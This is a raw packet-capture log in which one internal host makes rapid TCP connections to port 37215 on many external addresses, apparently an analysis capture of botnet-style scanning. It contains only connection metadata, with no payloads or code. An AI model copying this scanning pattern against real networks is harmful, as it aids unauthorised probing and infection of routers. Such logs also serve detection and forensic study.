Sep 25, 2024 14:14:21.125324011 CEST	39488	37215	192.168.2.14	156.21.52.238
Sep 25, 2024 14:14:21.125977039 CEST	37215	33718	197.32.39.39	192.168.2.14
Sep 25, 2024 14:14:21.125992060 CEST	37215	50922	41.155.154.161	192.168.2.14
Sep 25, 2024 14:14:21.126307011 CEST	56872	37215	192.168.2.14	156.212.237.154
Sep 25, 2024 14:14:21.126352072 CEST	37215	50252	156.15.188.124	192.168.2.14
Sep 25, 2024 14:14:21.127495050 CEST	59528	37215	192.168.2.14	156.54.182.52
Sep 25, 2024 14:14:21.128731012 CEST	57426	37215	192.168.2.14	156.251.233.185
Sep 25, 2024 14:14:21.129790068 CEST	34266	37215	192.168.2.14	197.58.17.124
Sep 25, 2024 14:14:21.130773067 CEST	46878	37215	192.168.2.14	41.88.166.171
Sep 25, 2024 14:14:21.130889893 CEST	37215	39488	156.21.52.238	192.168.2.14
Sep 25, 2024 14:14:21.130942106 CEST	39488	37215	192.168.2.14	156.21.52.238
Sep 25, 2024 14:14:21.131831884 CEST	35962	37215	192.168.2.14	156.100.115.49
Sep 25, 2024 14:14:21.133713007 CEST	53852	37215	192.168.2.14	41.112.146.16
Sep 25, 2024 14:14:21.133857012 CEST	37215	45652	197.11.206.26	192.168.2.14
Sep 25, 2024 14:14:21.136646032 CEST	37215	35962	156.100.115.49	192.168.2.14
Sep 25, 2024 14:14:21.136709929 CEST	35962	37215	192.168.2.14	156.100.115.49
Sep 25, 2024 14:14:21.139576912 CEST	41832	37215	192.168.2.14	156.167.82.254
Sep 25, 2024 14:14:21.151235104 CEST	47648	37215	192.168.2.14	41.36.156.215
Sep 25, 2024 14:14:21.153856993 CEST	37215	45070	197.45.37.80	192.168.2.14
Sep 25, 2024 14:14:21.153893948 CEST	37215	35278	197.78.221.181	192.168.2.14
Sep 25, 2024 14:14:21.153904915 CEST	37215	47612	197.88.23.116	192.168.2.14
Sep 25, 2024 14:14:21.156177998 CEST	37215	47648	41.36.156.215	192.168.2.14
Sep 25, 2024 14:14:21.156224012 CEST	47648	37215	192.168.2.14	41.36.156.215
Sep 25, 2024 14:14:21.156332016 CEST	46770	37215	192.168.2.14	197.61.41.74
Sep 25, 2024 14:14:21.157782078 CEST	37215	43152	156.210.180.184	192.168.2.14
Sep 25, 2024 14:14:21.157792091 CEST	37215	38062	197.154.112.146	192.168.2.14
Sep 25, 2024 14:14:21.157809019 CEST	37215	39854	156.231.117.91	192.168.2.14
Sep 25, 2024 14:14:21.157818079 CEST	37215	58054	156.62.172.152	192.168.2.14
Sep 25, 2024 14:14:21.157825947 CEST	37215	44494	156.59.247.173	192.168.2.14
Sep 25, 2024 14:14:21.161375046 CEST	37215	46770	197.61.41.74	192.168.2.14
Sep 25, 2024 14:14:21.162157059 CEST	46770	37215	192.168.2.14	197.61.41.74
Sep 25, 2024 14:14:21.165893078 CEST	37215	33718	197.32.39.39	192.168.2.14
Sep 25, 2024 14:14:21.165901899 CEST	37215	54706	197.101.92.66	192.168.2.14
Sep 25, 2024 14:14:21.165905952 CEST	37215	58874	41.97.75.125	192.168.2.14
Sep 25, 2024 14:14:21.165910006 CEST	37215	37152	41.64.174.42	192.168.2.14
Sep 25, 2024 14:14:21.169819117 CEST	37215	50252	156.15.188.124	192.168.2.14
Sep 25, 2024 14:14:21.170238018 CEST	35336	37215	192.168.2.14	197.78.221.181
Sep 25, 2024 14:14:21.170238018 CEST	43210	37215	192.168.2.14	156.210.180.184
Sep 25, 2024 14:14:21.170312881 CEST	45128	37215	192.168.2.14	197.45.37.80
Sep 25, 2024 14:14:21.170312881 CEST	47670	37215	192.168.2.14	197.88.23.116
Sep 25, 2024 14:14:21.170377016 CEST	52244	37215	192.168.2.14	156.42.254.84
Sep 25, 2024 14:14:21.170377016 CEST	52244	37215	192.168.2.14	156.42.254.84
Sep 25, 2024 14:14:21.175263882 CEST	37215	35336	197.78.221.181	192.168.2.14
Sep 25, 2024 14:14:21.175273895 CEST	37215	52244	156.42.254.84	192.168.2.14
Sep 25, 2024 14:14:21.175386906 CEST	37215	43210	156.210.180.184	192.168.2.14
Sep 25, 2024 14:14:21.175411940 CEST	35336	37215	192.168.2.14	197.78.221.181
Sep 25, 2024 14:14:21.175431013 CEST	37215	45128	197.45.37.80	192.168.2.14
Sep 25, 2024 14:14:21.175440073 CEST	37215	47670	197.88.23.116	192.168.2.14
Sep 25, 2024 14:14:21.175510883 CEST	45128	37215	192.168.2.14	197.45.37.80
Sep 25, 2024 14:14:21.175510883 CEST	43210	37215	192.168.2.14	156.210.180.184
Sep 25, 2024 14:14:21.175522089 CEST	47670	37215	192.168.2.14	197.88.23.116
Sep 25, 2024 14:14:21.218632936 CEST	37215	52244	156.42.254.84	192.168.2.14
Sep 25, 2024 14:14:21.234124899 CEST	52304	37215	192.168.2.14	156.42.254.84
Sep 25, 2024 14:14:21.238975048 CEST	37215	52304	156.42.254.84	192.168.2.14
Sep 25, 2024 14:14:21.246129036 CEST	52304	37215	192.168.2.14	156.42.254.84
Sep 25, 2024 14:14:21.303023100 CEST	38660	37215	192.168.2.14	156.80.89.118
Sep 25, 2024 14:14:21.303023100 CEST	38660	37215	192.168.2.14	156.80.89.118
Sep 25, 2024 14:14:21.304006100 CEST	38720	37215	192.168.2.14	156.80.89.118
Sep 25, 2024 14:14:21.306341887 CEST	55290	37215	192.168.2.14	156.58.104.192
Sep 25, 2024 14:14:21.306341887 CEST	55290	37215	192.168.2.14	156.58.104.192
Sep 25, 2024 14:14:21.307930946 CEST	37215	38660	156.80.89.118	192.168.2.14
Sep 25, 2024 14:14:21.308092117 CEST	55350	37215	192.168.2.14	156.58.104.192
Sep 25, 2024 14:14:21.308741093 CEST	37215	38720	156.80.89.118	192.168.2.14
Sep 25, 2024 14:14:21.308796883 CEST	38720	37215	192.168.2.14	156.80.89.118
Sep 25, 2024 14:14:21.309916019 CEST	39910	37215	192.168.2.14	156.231.117.91
Sep 25, 2024 14:14:21.309916973 CEST	44552	37215	192.168.2.14	156.59.247.173
Sep 25, 2024 14:14:21.309937954 CEST	58110	37215	192.168.2.14	156.62.172.152
Sep 25, 2024 14:14:21.309954882 CEST	38210	37215	192.168.2.14	197.154.112.146
Sep 25, 2024 14:14:21.310812950 CEST	40472	37215	192.168.2.14	156.179.154.203
Sep 25, 2024 14:14:21.311230898 CEST	37215	55290	156.58.104.192	192.168.2.14
Sep 25, 2024 14:14:21.313072920 CEST	37210	37215	192.168.2.14	197.189.33.238
Sep 25, 2024 14:14:21.313117027 CEST	37215	55350	156.58.104.192	192.168.2.14
Sep 25, 2024 14:14:21.313160896 CEST	55350	37215	192.168.2.14	156.58.104.192
Sep 25, 2024 14:14:21.314614058 CEST	51420	37215	192.168.2.14	156.65.31.199
Sep 25, 2024 14:14:21.314784050 CEST	37215	39910	156.231.117.91	192.168.2.14
Sep 25, 2024 14:14:21.314837933 CEST	39910	37215	192.168.2.14	156.231.117.91
Sep 25, 2024 14:14:21.315025091 CEST	37215	44552	156.59.247.173	192.168.2.14
Sep 25, 2024 14:14:21.315035105 CEST	37215	38210	197.154.112.146	192.168.2.14
Sep 25, 2024 14:14:21.315046072 CEST	37215	58110	156.62.172.152	192.168.2.14
Sep 25, 2024 14:14:21.315072060 CEST	44552	37215	192.168.2.14	156.59.247.173
Sep 25, 2024 14:14:21.315088034 CEST	38210	37215	192.168.2.14	197.154.112.146
Sep 25, 2024 14:14:21.315098047 CEST	58110	37215	192.168.2.14	156.62.172.152
Sep 25, 2024 14:14:21.315581083 CEST	37215	40472	156.179.154.203	192.168.2.14
Sep 25, 2024 14:14:21.315653086 CEST	40472	37215	192.168.2.14	156.179.154.203
Sep 25, 2024 14:14:21.317851067 CEST	37215	37210	197.189.33.238	192.168.2.14
Sep 25, 2024 14:14:21.317889929 CEST	37210	37215	192.168.2.14	197.189.33.238
Sep 25, 2024 14:14:21.318203926 CEST	36634	37215	192.168.2.14	41.234.65.145
Sep 25, 2024 14:14:21.319456100 CEST	37215	51420	156.65.31.199	192.168.2.14
Sep 25, 2024 14:14:21.319494009 CEST	51420	37215	192.168.2.14	156.65.31.199
Sep 25, 2024 14:14:21.322968960 CEST	37215	36634	41.234.65.145	192.168.2.14
Sep 25, 2024 14:14:21.323009014 CEST	36634	37215	192.168.2.14	41.234.65.145
Sep 25, 2024 14:14:21.323787928 CEST	41386	37215	192.168.2.14	197.106.92.244
Sep 25, 2024 14:14:21.328615904 CEST	37215	41386	197.106.92.244	192.168.2.14
Sep 25, 2024 14:14:21.328655005 CEST	41386	37215	192.168.2.14	197.106.92.244
Sep 25, 2024 14:14:21.333368063 CEST	40346	37215	192.168.2.14	41.106.32.54
Sep 25, 2024 14:14:21.338332891 CEST	37215	40346	41.106.32.54	192.168.2.14
Sep 25, 2024 14:14:21.338404894 CEST	40346	37215	192.168.2.14	41.106.32.54
Sep 25, 2024 14:14:21.344321966 CEST	52196	37215	192.168.2.14	197.150.186.156
Sep 25, 2024 14:14:21.348095894 CEST	40988	37215	192.168.2.14	41.198.29.203
Sep 25, 2024 14:14:21.349246979 CEST	37215	52196	197.150.186.156	192.168.2.14
Sep 25, 2024 14:14:21.349286079 CEST	52196	37215	192.168.2.14	197.150.186.156
Sep 25, 2024 14:14:21.349823952 CEST	37215	38660	156.80.89.118	192.168.2.14
Sep 25, 2024 14:14:21.351805925 CEST	39488	37215	192.168.2.14	156.21.52.238
Sep 25, 2024 14:14:21.351805925 CEST	39488	37215	192.168.2.14	156.21.52.238
Sep 25, 2024 14:14:21.352880001 CEST	37215	40988	41.198.29.203	192.168.2.14
Sep 25, 2024 14:14:21.352926016 CEST	40988	37215	192.168.2.14	41.198.29.203
Sep 25, 2024 14:14:21.353768110 CEST	37215	55290	156.58.104.192	192.168.2.14
Sep 25, 2024 14:14:21.354141951 CEST	39532	37215	192.168.2.14	156.21.52.238
Sep 25, 2024 14:14:21.356034994 CEST	52304	37215	192.168.2.14	156.42.254.84
Sep 25, 2024 14:14:21.356041908 CEST	38720	37215	192.168.2.14	156.80.89.118
Sep 25, 2024 14:14:21.356059074 CEST	35962	37215	192.168.2.14	156.100.115.49
Sep 25, 2024 14:14:21.356059074 CEST	35962	37215	192.168.2.14	156.100.115.49
Sep 25, 2024 14:14:21.356601000 CEST	37215	39488	156.21.52.238	192.168.2.14
Sep 25, 2024 14:14:21.358228922 CEST	35996	37215	192.168.2.14	156.100.115.49
Sep 25, 2024 14:14:21.359282970 CEST	37215	39532	156.21.52.238	192.168.2.14
Sep 25, 2024 14:14:21.359321117 CEST	39532	37215	192.168.2.14	156.21.52.238
Sep 25, 2024 14:14:21.361840010 CEST	37215	35962	156.100.115.49	192.168.2.14
Sep 25, 2024 14:14:21.361876011 CEST	37215	52304	156.42.254.84	192.168.2.14
Sep 25, 2024 14:14:21.361910105 CEST	37215	38720	156.80.89.118	192.168.2.14
Sep 25, 2024 14:14:21.361916065 CEST	52304	37215	192.168.2.14	156.42.254.84
Sep 25, 2024 14:14:21.361960888 CEST	38720	37215	192.168.2.14	156.80.89.118
Sep 25, 2024 14:14:21.362129927 CEST	55350	37215	192.168.2.14	156.58.104.192
Sep 25, 2024 14:14:21.362138987 CEST	47648	37215	192.168.2.14	41.36.156.215
Sep 25, 2024 14:14:21.362138987 CEST	47648	37215	192.168.2.14	41.36.156.215
Sep 25, 2024 14:14:21.363140106 CEST	37215	35996	156.100.115.49	192.168.2.14
Sep 25, 2024 14:14:21.363178015 CEST	35996	37215	192.168.2.14	156.100.115.49
Sep 25, 2024 14:14:21.366971970 CEST	37215	47648	41.36.156.215	192.168.2.14
Sep 25, 2024 14:14:21.367443085 CEST	37215	55350	156.58.104.192	192.168.2.14
Sep 25, 2024 14:14:21.367501974 CEST	55350	37215	192.168.2.14	156.58.104.192
Sep 25, 2024 14:14:21.367506027 CEST	47678	37215	192.168.2.14	41.36.156.215
Sep 25, 2024 14:14:21.370486021 CEST	46770	37215	192.168.2.14	197.61.41.74
Sep 25, 2024 14:14:21.370486975 CEST	46770	37215	192.168.2.14	197.61.41.74
Sep 25, 2024 14:14:21.372239113 CEST	46800	37215	192.168.2.14	197.61.41.74
Sep 25, 2024 14:14:21.372270107 CEST	37215	47678	41.36.156.215	192.168.2.14
Sep 25, 2024 14:14:21.372319937 CEST	47678	37215	192.168.2.14	41.36.156.215
Sep 25, 2024 14:14:21.375403881 CEST	37215	46770	197.61.41.74	192.168.2.14
Sep 25, 2024 14:14:21.377084017 CEST	37215	46800	197.61.41.74	192.168.2.14
Sep 25, 2024 14:14:21.377141953 CEST	46800	37215	192.168.2.14	197.61.41.74
Sep 25, 2024 14:14:21.377151012 CEST	54964	37215	192.168.2.14	41.82.189.161
Sep 25, 2024 14:14:21.377151012 CEST	54964	37215	192.168.2.14	41.82.189.161
Sep 25, 2024 14:14:21.379738092 CEST	55048	37215	192.168.2.14	41.82.189.161
Sep 25, 2024 14:14:21.381836891 CEST	51900	37215	192.168.2.14	197.250.101.246
Sep 25, 2024 14:14:21.381947994 CEST	51900	37215	192.168.2.14	197.250.101.246
Sep 25, 2024 14:14:21.382133961 CEST	37215	54964	41.82.189.161	192.168.2.14
Sep 25, 2024 14:14:21.383213043 CEST	51984	37215	192.168.2.14	197.250.101.246
Sep 25, 2024 14:14:21.384597063 CEST	37215	55048	41.82.189.161	192.168.2.14
Sep 25, 2024 14:14:21.384680986 CEST	55048	37215	192.168.2.14	41.82.189.161
Sep 25, 2024 14:14:21.385107040 CEST	44376	37215	192.168.2.14	197.242.74.227
Sep 25, 2024 14:14:21.385107040 CEST	44376	37215	192.168.2.14	197.242.74.227
Sep 25, 2024 14:14:21.386410952 CEST	44460	37215	192.168.2.14	197.242.74.227
Sep 25, 2024 14:14:21.386683941 CEST	37215	51900	197.250.101.246	192.168.2.14
Sep 25, 2024 14:14:21.388235092 CEST	37215	51984	197.250.101.246	192.168.2.14
Sep 25, 2024 14:14:21.388292074 CEST	51984	37215	192.168.2.14	197.250.101.246
Sep 25, 2024 14:14:21.388626099 CEST	50690	37215	192.168.2.14	41.10.145.181
Sep 25, 2024 14:14:21.390098095 CEST	37215	44376	197.242.74.227	192.168.2.14
Sep 25, 2024 14:14:21.391259909 CEST	37215	44460	197.242.74.227	192.168.2.14
Sep 25, 2024 14:14:21.391354084 CEST	44460	37215	192.168.2.14	197.242.74.227
Sep 25, 2024 14:14:21.391515017 CEST	50550	37215	192.168.2.14	197.23.115.188
Sep 25, 2024 14:14:21.393439054 CEST	37215	50690	41.10.145.181	192.168.2.14
Sep 25, 2024 14:14:21.393485069 CEST	50690	37215	192.168.2.14	41.10.145.181
Sep 25, 2024 14:14:21.393517971 CEST	51544	37215	192.168.2.14	197.157.8.210
Sep 25, 2024 14:14:21.394567013 CEST	40472	37215	192.168.2.14	156.179.154.203
Sep 25, 2024 14:14:21.394567013 CEST	40472	37215	192.168.2.14	156.179.154.203
Sep 25, 2024 14:14:21.396168947 CEST	40508	37215	192.168.2.14	156.179.154.203
Sep 25, 2024 14:14:21.396342039 CEST	37215	50550	197.23.115.188	192.168.2.14
Sep 25, 2024 14:14:21.396410942 CEST	50550	37215	192.168.2.14	197.23.115.188
Sep 25, 2024 14:14:21.398551941 CEST	37210	37215	192.168.2.14	197.189.33.238
Sep 25, 2024 14:14:21.398551941 CEST	37210	37215	192.168.2.14	197.189.33.238
Sep 25, 2024 14:14:21.400784969 CEST	37215	51544	197.157.8.210	192.168.2.14
Sep 25, 2024 14:14:21.400796890 CEST	37215	40472	156.179.154.203	192.168.2.14
Sep 25, 2024 14:14:21.400847912 CEST	51544	37215	192.168.2.14	197.157.8.210
Sep 25, 2024 14:14:21.401690006 CEST	37246	37215	192.168.2.14	197.189.33.238
Sep 25, 2024 14:14:21.402524948 CEST	37215	40508	156.179.154.203	192.168.2.14
Sep 25, 2024 14:14:21.402570009 CEST	40508	37215	192.168.2.14	156.179.154.203
Sep 25, 2024 14:14:21.403026104 CEST	37215	39488	156.21.52.238	192.168.2.14
Sep 25, 2024 14:14:21.404010057 CEST	51420	37215	192.168.2.14	156.65.31.199
Sep 25, 2024 14:14:21.404010057 CEST	51420	37215	192.168.2.14	156.65.31.199
Sep 25, 2024 14:14:21.404880047 CEST	37215	37210	197.189.33.238	192.168.2.14
Sep 25, 2024 14:14:21.405457973 CEST	51456	37215	192.168.2.14	156.65.31.199
Sep 25, 2024 14:14:21.406584024 CEST	37215	37246	197.189.33.238	192.168.2.14
Sep 25, 2024 14:14:21.406627893 CEST	37246	37215	192.168.2.14	197.189.33.238
Sep 25, 2024 14:14:21.407228947 CEST	39532	37215	192.168.2.14	156.21.52.238
Sep 25, 2024 14:14:21.407255888 CEST	36634	37215	192.168.2.14	41.234.65.145
Sep 25, 2024 14:14:21.407255888 CEST	36634	37215	192.168.2.14	41.234.65.145
Sep 25, 2024 14:14:21.408596039 CEST	36670	37215	192.168.2.14	41.234.65.145
Sep 25, 2024 14:14:21.408824921 CEST	37215	51420	156.65.31.199	192.168.2.14
Sep 25, 2024 14:14:21.409524918 CEST	35996	37215	192.168.2.14	156.100.115.49
Sep 25, 2024 14:14:21.409531116 CEST	41386	37215	192.168.2.14	197.106.92.244
Sep 25, 2024 14:14:21.409531116 CEST	41386	37215	192.168.2.14	197.106.92.244
Sep 25, 2024 14:14:21.409812927 CEST	41422	37215	192.168.2.14	197.106.92.244
Sep 25, 2024 14:14:21.409857035 CEST	37215	47648	41.36.156.215	192.168.2.14
Sep 25, 2024 14:14:21.410041094 CEST	37215	35962	156.100.115.49	192.168.2.14
Sep 25, 2024 14:14:21.410284996 CEST	37215	51456	156.65.31.199	192.168.2.14
Sep 25, 2024 14:14:21.410331011 CEST	51456	37215	192.168.2.14	156.65.31.199
Sep 25, 2024 14:14:21.410389900 CEST	47678	37215	192.168.2.14	41.36.156.215
Sep 25, 2024 14:14:21.410389900 CEST	46800	37215	192.168.2.14	197.61.41.74
Sep 25, 2024 14:14:21.410399914 CEST	40346	37215	192.168.2.14	41.106.32.54
Sep 25, 2024 14:14:21.410401106 CEST	40346	37215	192.168.2.14	41.106.32.54
Sep 25, 2024 14:14:21.410764933 CEST	40382	37215	192.168.2.14	41.106.32.54
Sep 25, 2024 14:14:21.411581993 CEST	52196	37215	192.168.2.14	197.150.186.156
Sep 25, 2024 14:14:21.411581993 CEST	52196	37215	192.168.2.14	197.150.186.156
Sep 25, 2024 14:14:21.411920071 CEST	52232	37215	192.168.2.14	197.150.186.156
Sep 25, 2024 14:14:21.412076950 CEST	37215	36634	41.234.65.145	192.168.2.14
Sep 25, 2024 14:14:21.412306070 CEST	37215	39532	156.21.52.238	192.168.2.14
Sep 25, 2024 14:14:21.412344933 CEST	39532	37215	192.168.2.14	156.21.52.238
Sep 25, 2024 14:14:21.412379980 CEST	51984	37215	192.168.2.14	197.250.101.246
Sep 25, 2024 14:14:21.412379980 CEST	44460	37215	192.168.2.14	197.242.74.227
Sep 25, 2024 14:14:21.412409067 CEST	63353	37215	192.168.2.14	41.186.99.241
Sep 25, 2024 14:14:21.412410021 CEST	63353	37215	192.168.2.14	41.223.190.199
Sep 25, 2024 14:14:21.412411928 CEST	63353	37215	192.168.2.14	156.233.37.29
Sep 25, 2024 14:14:21.412412882 CEST	63353	37215	192.168.2.14	41.247.208.130
Sep 25, 2024 14:14:21.412415981 CEST	63353	37215	192.168.2.14	156.52.17.163
Sep 25, 2024 14:14:21.412427902 CEST	63353	37215	192.168.2.14	41.101.95.239
Sep 25, 2024 14:14:21.412427902 CEST	63353	37215	192.168.2.14	197.12.101.10
Sep 25, 2024 14:14:21.412434101 CEST	63353	37215	192.168.2.14	197.160.229.228
Sep 25, 2024 14:14:21.412440062 CEST	55048	37215	192.168.2.14	41.82.189.161
Sep 25, 2024 14:14:21.412440062 CEST	63353	37215	192.168.2.14	197.184.137.253
Sep 25, 2024 14:14:21.412440062 CEST	63353	37215	192.168.2.14	41.62.221.126
Sep 25, 2024 14:14:21.412442923 CEST	63353	37215	192.168.2.14	156.86.215.174
Sep 25, 2024 14:14:21.412444115 CEST	63353	37215	192.168.2.14	156.110.131.236
Sep 25, 2024 14:14:21.412444115 CEST	63353	37215	192.168.2.14	41.73.236.219
Sep 25, 2024 14:14:21.412444115 CEST	63353	37215	192.168.2.14	197.111.42.18
Sep 25, 2024 14:14:21.412446976 CEST	63353	37215	192.168.2.14	41.90.166.141
Sep 25, 2024 14:14:21.412446976 CEST	63353	37215	192.168.2.14	41.35.221.162
Sep 25, 2024 14:14:21.412446976 CEST	63353	37215	192.168.2.14	156.218.6.247
Sep 25, 2024 14:14:21.412456989 CEST	63353	37215	192.168.2.14	41.14.108.209
Sep 25, 2024 14:14:21.412465096 CEST	63353	37215	192.168.2.14	156.245.54.180
Sep 25, 2024 14:14:21.412467003 CEST	63353	37215	192.168.2.14	197.84.35.50
Sep 25, 2024 14:14:21.412467003 CEST	63353	37215	192.168.2.14	197.25.163.58
Sep 25, 2024 14:14:21.412467003 CEST	63353	37215	192.168.2.14	197.77.174.196
Sep 25, 2024 14:14:21.412470102 CEST	63353	37215	192.168.2.14	156.233.100.181
Sep 25, 2024 14:14:21.412470102 CEST	63353	37215	192.168.2.14	41.77.28.9
Sep 25, 2024 14:14:21.412470102 CEST	63353	37215	192.168.2.14	197.186.208.27
Sep 25, 2024 14:14:21.412483931 CEST	63353	37215	192.168.2.14	197.71.201.65
Sep 25, 2024 14:14:21.412484884 CEST	63353	37215	192.168.2.14	41.191.58.215
Sep 25, 2024 14:14:21.412491083 CEST	63353	37215	192.168.2.14	156.150.174.150
Sep 25, 2024 14:14:21.412491083 CEST	63353	37215	192.168.2.14	197.190.147.35
Sep 25, 2024 14:14:21.412492037 CEST	63353	37215	192.168.2.14	41.223.32.52
Sep 25, 2024 14:14:21.412502050 CEST	63353	37215	192.168.2.14	41.238.128.81
Sep 25, 2024 14:14:21.412504911 CEST	63353	37215	192.168.2.14	41.58.151.227
Sep 25, 2024 14:14:21.412508011 CEST	63353	37215	192.168.2.14	41.10.63.35
Sep 25, 2024 14:14:21.412529945 CEST	63353	37215	192.168.2.14	156.184.52.63
Sep 25, 2024 14:14:21.412529945 CEST	63353	37215	192.168.2.14	197.167.143.75
Sep 25, 2024 14:14:21.412550926 CEST	63353	37215	192.168.2.14	197.142.179.221
Sep 25, 2024 14:14:21.412550926 CEST	63353	37215	192.168.2.14	156.209.83.222
Sep 25, 2024 14:14:21.412552118 CEST	63353	37215	192.168.2.14	197.103.131.101
Sep 25, 2024 14:14:21.412559986 CEST	63353	37215	192.168.2.14	197.231.103.250
Sep 25, 2024 14:14:21.412565947 CEST	63353	37215	192.168.2.14	197.22.188.212
Sep 25, 2024 14:14:21.412575006 CEST	63353	37215	192.168.2.14	156.24.59.226
Sep 25, 2024 14:14:21.412576914 CEST	63353	37215	192.168.2.14	41.148.61.107
Sep 25, 2024 14:14:21.412576914 CEST	63353	37215	192.168.2.14	41.213.38.42
Sep 25, 2024 14:14:21.412578106 CEST	63353	37215	192.168.2.14	156.201.95.2
Sep 25, 2024 14:14:21.412578106 CEST	63353	37215	192.168.2.14	156.169.50.9
Sep 25, 2024 14:14:21.412578106 CEST	63353	37215	192.168.2.14	156.140.119.242
Sep 25, 2024 14:14:21.412578106 CEST	63353	37215	192.168.2.14	197.7.164.233
Sep 25, 2024 14:14:21.412578106 CEST	63353	37215	192.168.2.14	41.136.96.147
Sep 25, 2024 14:14:21.412585020 CEST	63353	37215	192.168.2.14	156.50.3.44
Sep 25, 2024 14:14:21.412585974 CEST	63353	37215	192.168.2.14	41.241.58.162
Sep 25, 2024 14:14:21.412586927 CEST	63353	37215	192.168.2.14	41.154.31.152
Sep 25, 2024 14:14:21.412586927 CEST	63353	37215	192.168.2.14	156.221.48.54
Sep 25, 2024 14:14:21.412595034 CEST	63353	37215	192.168.2.14	156.114.217.163
Sep 25, 2024 14:14:21.412597895 CEST	63353	37215	192.168.2.14	197.181.17.220
Sep 25, 2024 14:14:21.412611008 CEST	63353	37215	192.168.2.14	197.114.124.107
Sep 25, 2024 14:14:21.412611008 CEST	63353	37215	192.168.2.14	41.206.166.129
Sep 25, 2024 14:14:21.412617922 CEST	63353	37215	192.168.2.14	197.96.50.247
Sep 25, 2024 14:14:21.412623882 CEST	63353	37215	192.168.2.14	197.237.190.212
Sep 25, 2024 14:14:21.412628889 CEST	63353	37215	192.168.2.14	41.138.205.197
Sep 25, 2024 14:14:21.412628889 CEST	63353	37215	192.168.2.14	197.105.149.85
Sep 25, 2024 14:14:21.412632942 CEST	63353	37215	192.168.2.14	41.234.91.64
Sep 25, 2024 14:14:21.412642956 CEST	63353	37215	192.168.2.14	197.112.41.185
Sep 25, 2024 14:14:21.412643909 CEST	63353	37215	192.168.2.14	41.242.52.122
Sep 25, 2024 14:14:21.412666082 CEST	63353	37215	192.168.2.14	41.252.158.112
Sep 25, 2024 14:14:21.412667036 CEST	63353	37215	192.168.2.14	41.120.99.116
Sep 25, 2024 14:14:21.412667036 CEST	63353	37215	192.168.2.14	41.40.245.77
Sep 25, 2024 14:14:21.412673950 CEST	63353	37215	192.168.2.14	156.204.222.90
Sep 25, 2024 14:14:21.412677050 CEST	63353	37215	192.168.2.14	156.160.197.113
Sep 25, 2024 14:14:21.412678957 CEST	63353	37215	192.168.2.14	197.3.101.88
Sep 25, 2024 14:14:21.412678957 CEST	63353	37215	192.168.2.14	41.220.218.20
Sep 25, 2024 14:14:21.412678957 CEST	63353	37215	192.168.2.14	41.83.255.156
Sep 25, 2024 14:14:21.412694931 CEST	63353	37215	192.168.2.14	197.127.137.199
Sep 25, 2024 14:14:21.412698984 CEST	63353	37215	192.168.2.14	156.24.130.220
Sep 25, 2024 14:14:21.412700891 CEST	63353	37215	192.168.2.14	197.178.134.237
Sep 25, 2024 14:14:21.412703037 CEST	63353	37215	192.168.2.14	156.183.204.218
Sep 25, 2024 14:14:21.412703991 CEST	63353	37215	192.168.2.14	197.151.58.163
Sep 25, 2024 14:14:21.412719011 CEST	63353	37215	192.168.2.14	197.161.97.198
Sep 25, 2024 14:14:21.412719011 CEST	63353	37215	192.168.2.14	156.148.166.98
Sep 25, 2024 14:14:21.412719011 CEST	63353	37215	192.168.2.14	41.195.132.125
Sep 25, 2024 14:14:21.412719011 CEST	63353	37215	192.168.2.14	197.235.150.2
Sep 25, 2024 14:14:21.412719011 CEST	63353	37215	192.168.2.14	41.40.216.29
Sep 25, 2024 14:14:21.412728071 CEST	63353	37215	192.168.2.14	156.177.47.80
Sep 25, 2024 14:14:21.412733078 CEST	63353	37215	192.168.2.14	41.44.108.153
Sep 25, 2024 14:14:21.412733078 CEST	63353	37215	192.168.2.14	197.214.171.244
Sep 25, 2024 14:14:21.412744999 CEST	63353	37215	192.168.2.14	156.163.255.12
Sep 25, 2024 14:14:21.412748098 CEST	63353	37215	192.168.2.14	41.101.62.48
Sep 25, 2024 14:14:21.412755013 CEST	63353	37215	192.168.2.14	156.227.116.150
Sep 25, 2024 14:14:21.412760019 CEST	63353	37215	192.168.2.14	41.9.205.134
Sep 25, 2024 14:14:21.412760019 CEST	63353	37215	192.168.2.14	41.130.87.207
Sep 25, 2024 14:14:21.412772894 CEST	63353	37215	192.168.2.14	41.180.49.96
Sep 25, 2024 14:14:21.412772894 CEST	63353	37215	192.168.2.14	197.52.48.226
Sep 25, 2024 14:14:21.412777901 CEST	63353	37215	192.168.2.14	197.223.2.217
Sep 25, 2024 14:14:21.412780046 CEST	63353	37215	192.168.2.14	156.213.93.203
Sep 25, 2024 14:14:21.412780046 CEST	63353	37215	192.168.2.14	156.32.240.44
Sep 25, 2024 14:14:21.412781000 CEST	63353	37215	192.168.2.14	156.247.110.47
Sep 25, 2024 14:14:21.412781000 CEST	63353	37215	192.168.2.14	41.109.203.0
Sep 25, 2024 14:14:21.412781000 CEST	63353	37215	192.168.2.14	156.220.66.89
Sep 25, 2024 14:14:21.412791967 CEST	63353	37215	192.168.2.14	156.115.6.52
Sep 25, 2024 14:14:21.412797928 CEST	63353	37215	192.168.2.14	197.197.206.120
Sep 25, 2024 14:14:21.412797928 CEST	63353	37215	192.168.2.14	41.13.195.200
Sep 25, 2024 14:14:21.412801027 CEST	63353	37215	192.168.2.14	156.103.108.4
Sep 25, 2024 14:14:21.412815094 CEST	63353	37215	192.168.2.14	156.153.206.123
Sep 25, 2024 14:14:21.412815094 CEST	63353	37215	192.168.2.14	41.25.113.207
Sep 25, 2024 14:14:21.412817955 CEST	63353	37215	192.168.2.14	156.183.61.128
Sep 25, 2024 14:14:21.412817955 CEST	63353	37215	192.168.2.14	197.190.167.246
Sep 25, 2024 14:14:21.412817955 CEST	63353	37215	192.168.2.14	41.141.91.131
Sep 25, 2024 14:14:21.412823915 CEST	63353	37215	192.168.2.14	156.35.206.55
Sep 25, 2024 14:14:21.412823915 CEST	63353	37215	192.168.2.14	156.64.187.63
Sep 25, 2024 14:14:21.412832022 CEST	63353	37215	192.168.2.14	41.151.17.158
Sep 25, 2024 14:14:21.412841082 CEST	63353	37215	192.168.2.14	156.251.90.198
Sep 25, 2024 14:14:21.412842989 CEST	63353	37215	192.168.2.14	156.50.244.34
Sep 25, 2024 14:14:21.412842989 CEST	63353	37215	192.168.2.14	197.9.152.231
Sep 25, 2024 14:14:21.412851095 CEST	63353	37215	192.168.2.14	156.53.166.181
Sep 25, 2024 14:14:21.412852049 CEST	63353	37215	192.168.2.14	197.172.96.21
Sep 25, 2024 14:14:21.412858009 CEST	63353	37215	192.168.2.14	156.140.148.75
Sep 25, 2024 14:14:21.412858963 CEST	63353	37215	192.168.2.14	156.49.192.175
Sep 25, 2024 14:14:21.412861109 CEST	63353	37215	192.168.2.14	41.107.157.210
Sep 25, 2024 14:14:21.412873030 CEST	63353	37215	192.168.2.14	197.128.197.49
